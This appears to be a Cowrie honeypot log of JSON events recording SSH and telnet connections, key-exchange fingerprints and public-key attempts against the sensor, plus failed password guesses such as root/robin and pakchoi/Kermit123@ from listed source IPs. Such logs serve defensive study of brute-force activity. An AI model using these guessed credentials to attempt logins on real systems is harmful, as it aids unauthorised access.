{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:19.264223Z","src_ip":"41.181.156.205","session":"21b1d3183076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"generator","message":"login attempt [root/generator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:20.282787Z","src_ip":"41.181.156.205","session":"21b1d3183076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:21.533151Z","src_ip":"41.181.156.205","session":"21b1d3183076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.199.113.36","src_port":4582,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff5e8bfd7894","protocol":"telnet","message":"New connection: 122.199.113.36:4582 (159.203.135.109:23) [session: ff5e8bfd7894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:31.274750Z"}
{"eventid":"cowrie.session.closed","duration":13.818955183029175,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:45.093576Z","src_ip":"122.199.113.36","session":"ff5e8bfd7894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.118.2","src_port":47748,"dst_ip":"10.17.0.5","dst_port":22,"session":"24656130716c","protocol":"ssh","message":"New connection: 37.187.118.2:47748 (10.17.0.5:22) [session: 24656130716c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:59.607924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:59.612792Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:59.716373Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:ca:d8:16:22:df:af:36:c6:90:a8:2b:dc:f0:ff:cb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgXqHHvNGZkDM9YodRmoqOQme3pD4UIvPY8asuNYVT/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 16:ca:d8:16:22:df:af:36:c6:90:a8:2b:dc:f0:ff:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.095285Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:ca:d8:16:22:df:af:36:c6:90:a8:2b:dc:f0:ff:cb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgXqHHvNGZkDM9YodRmoqOQme3pD4UIvPY8asuNYVT/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.101029Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:c3:87:40:a1:f1:e4:16:69:4f:2d:d6:20:83:1d:02","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMDTkTQjymMEYI4eGZkYE7CTwzhVuriZloYyPUBF60E15MLhh7Eq0bEZ0VZzLmbsC5CiuZbqVdO1FUONrJcTl9W6oDy14++vfhB9Y7wvlJxgKL4P+BanbHJPJHIZS0zBQbp1uIgXWiRSW8kA5MJIBgMIub7RKswY+UsK8h+g4y25AAAAFQC4bXMrEQDK0bYOiHttjJmihlv6XwAAAIEAvT/BYqPaRHpuPaF2kJEXpoWSXhppDg7BhWc/gf/B9j4aYRhZ2v/4vJxM3XDw9tNzvPOteLFFTmUxd+KilKH50jkX0p5bUgCfnv7wa4E/EpGG3OuNHVx93Lyv4BLA2NWY4qCShrW/Tq6FJXdQkeMphDmtwwNRosBp7KNPVEMaCtYAAACBAIRYP5yhp2NHHBs/akmWQvB67iGxwzSAoBYhZ478X6oHLRMjZDxmmyytC/soa84iMd83M7EYKpimmozccxy9MBGLncEKblzzycbqcBKqCvrGT7FnTQX/XQ0SjlMIN9Y4CBsjaW3EESY7a0JHPk9kis+20NRASDWl13ZPDwR7BAvd","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 75:c3:87:40:a1:f1:e4:16:69:4f:2d:d6:20:83:1d:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.184933Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:c3:87:40:a1:f1:e4:16:69:4f:2d:d6:20:83:1d:02","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMDTkTQjymMEYI4eGZkYE7CTwzhVuriZloYyPUBF60E15MLhh7Eq0bEZ0VZzLmbsC5CiuZbqVdO1FUONrJcTl9W6oDy14++vfhB9Y7wvlJxgKL4P+BanbHJPJHIZS0zBQbp1uIgXWiRSW8kA5MJIBgMIub7RKswY+UsK8h+g4y25AAAAFQC4bXMrEQDK0bYOiHttjJmihlv6XwAAAIEAvT/BYqPaRHpuPaF2kJEXpoWSXhppDg7BhWc/gf/B9j4aYRhZ2v/4vJxM3XDw9tNzvPOteLFFTmUxd+KilKH50jkX0p5bUgCfnv7wa4E/EpGG3OuNHVx93Lyv4BLA2NWY4qCShrW/Tq6FJXdQkeMphDmtwwNRosBp7KNPVEMaCtYAAACBAIRYP5yhp2NHHBs/akmWQvB67iGxwzSAoBYhZ478X6oHLRMjZDxmmyytC/soa84iMd83M7EYKpimmozccxy9MBGLncEKblzzycbqcBKqCvrGT7FnTQX/XQ0SjlMIN9Y4CBsjaW3EESY7a0JHPk9kis+20NRASDWl13ZPDwR7BAvd","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.190369Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:f7:8e:28:38:c7:2c:28:04:61:dc:be:f2:db:c7:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDAytl+pKGnziaKSjySYIvDcIstpOgHY9e+jTVnstG7OaPAzA58MwMZMwx0dTa7mT/GdCFn/4+TN48V95DPACZYVJHZ35b3xuraUYOgm6x8laQTf/YvWvFvuPJLpS7yu1HV9H1QLzsu4jsvt5BMiiag3+7LNjohxHV3cucnklAwRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:f7:8e:28:38:c7:2c:28:04:61:dc:be:f2:db:c7:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.290418Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:f7:8e:28:38:c7:2c:28:04:61:dc:be:f2:db:c7:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDAytl+pKGnziaKSjySYIvDcIstpOgHY9e+jTVnstG7OaPAzA58MwMZMwx0dTa7mT/GdCFn/4+TN48V95DPACZYVJHZ35b3xuraUYOgm6x8laQTf/YvWvFvuPJLpS7yu1HV9H1QLzsu4jsvt5BMiiag3+7LNjohxHV3cucnklAwRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.294602Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:2e:fd:88:20:36:78:c2:86:bf:ef:9c:42:f2:1a:40","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEngu4JmKdWUG1ba2U12raEnA1HC9aUPJsuCcOTH2Zop","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:2e:fd:88:20:36:78:c2:86:bf:ef:9c:42:f2:1a:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.378481Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:2e:fd:88:20:36:78:c2:86:bf:ef:9c:42:f2:1a:40","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEngu4JmKdWUG1ba2U12raEnA1HC9aUPJsuCcOTH2Zop","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.382903Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:1a:fb:82:17:7f:6d:28:0d:dd:ae:e1:21:a4:8a:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KDWpELfEnB8CmwvSIQ++zcFxoBWQXv1ouH4CaaZ9QML7xbgGX2rxlpMjVW7CF4FMSl+6vMqfVyymJEaDytYkJvDJEMAfm5/i6zzgT0zv0+GZkwc66/ZxDWQyR8nxPGFeT+yg/arWaypoggYhktYjtN4vS8KwUO+WQpQhbhcrdAP7OSipQQc6TaMmXgoe5DBW9/PoJYgB7/zPHn0SYJVNvEhDD7KyZcwWm5zYBGecPJ79TuSRZBq8rD6/tJAYgUMBetTbKlTjb/NdAviDjXYfMR+ZT7+/xZgHHHqr1xoLvBQv1kELrTaDBW8V3QXfQ7eUX33S9gbzAOk03szWd/atQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:1a:fb:82:17:7f:6d:28:0d:dd:ae:e1:21:a4:8a:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.465561Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:1a:fb:82:17:7f:6d:28:0d:dd:ae:e1:21:a4:8a:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KDWpELfEnB8CmwvSIQ++zcFxoBWQXv1ouH4CaaZ9QML7xbgGX2rxlpMjVW7CF4FMSl+6vMqfVyymJEaDytYkJvDJEMAfm5/i6zzgT0zv0+GZkwc66/ZxDWQyR8nxPGFeT+yg/arWaypoggYhktYjtN4vS8KwUO+WQpQhbhcrdAP7OSipQQc6TaMmXgoe5DBW9/PoJYgB7/zPHn0SYJVNvEhDD7KyZcwWm5zYBGecPJ79TuSRZBq8rD6/tJAYgUMBetTbKlTjb/NdAviDjXYfMR+ZT7+/xZgHHHqr1xoLvBQv1kELrTaDBW8V3QXfQ7eUX33S9gbzAOk03szWd/atQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.469797Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:00.563384Z","src_ip":"37.187.118.2","session":"24656130716c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"204d0e587b7c","protocol":"ssh","message":"New connection: 163.245.222.56:43786 (159.203.135.109:22) [session: 204d0e587b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:06.631314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:06.636773Z","src_ip":"163.245.222.56","session":"204d0e587b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:06.642452Z","src_ip":"163.245.222.56","session":"204d0e587b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robin","message":"login attempt [root/robin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:06.698934Z","src_ip":"163.245.222.56","session":"204d0e587b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:07.709807Z","src_ip":"163.245.222.56","session":"204d0e587b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01340436935425,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:26.800881Z","src_ip":"190.245.166.57","session":"d3056833f12e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"59995bee2191","protocol":"ssh","message":"New connection: 43.135.166.146:45792 (10.17.0.5:22) [session: 59995bee2191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:27.841854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:27.848104Z","src_ip":"43.135.166.146","session":"59995bee2191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:27.918574Z","src_ip":"43.135.166.146","session":"59995bee2191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:28.226593Z","src_ip":"43.135.166.146","session":"59995bee2191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:29.299595Z","src_ip":"43.135.166.146","session":"59995bee2191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.245.166.57","src_port":38344,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4e926198bda","protocol":"telnet","message":"New connection: 190.245.166.57:38344 (10.17.0.5:23) [session: d4e926198bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:33.883916Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.205.17.26","src_port":1592,"dst_ip":"10.17.0.5","dst_port":22,"session":"98ec51eacfcb","protocol":"ssh","message":"New connection: 103.205.17.26:1592 (10.17.0.5:22) [session: 98ec51eacfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:34.818671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:34.824471Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:34.920400Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:d8:d6:d5:7b:0e:d2:12:51:fb:57:34:3f:a6:80:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsA9sASW6l10UkUuORjCd6xdmbwOxcj3keetWZHPZkxDBI/kAuL59erpdDgKVpaZJTjOvXcCOjGSaPbGgo0kYRk1aSMoPL23kr8MrXmq1ujF5GXvuZ+IYbAJaFXzGlGm0LPaIlVbS8Op2omAhh5cR9iSKiVhYvc6UTv143kEeXQDAoJaufPo870+SQ4LkJ6hioMxW3wToWP78mAeO0oDAD/OkDGtLX4Z+hZa5NfYmappxw/nmWS3l4GQenxwjqc4udFH9ewBY3gRztFNFboiC1cfq77QrJPjQ+chWZDlN0Uvd40MC3u5LMAjGRYgUF80vfJyXVyj1K2exjKC8Dqbst","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:d8:d6:d5:7b:0e:d2:12:51:fb:57:34:3f:a6:80:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.340830Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
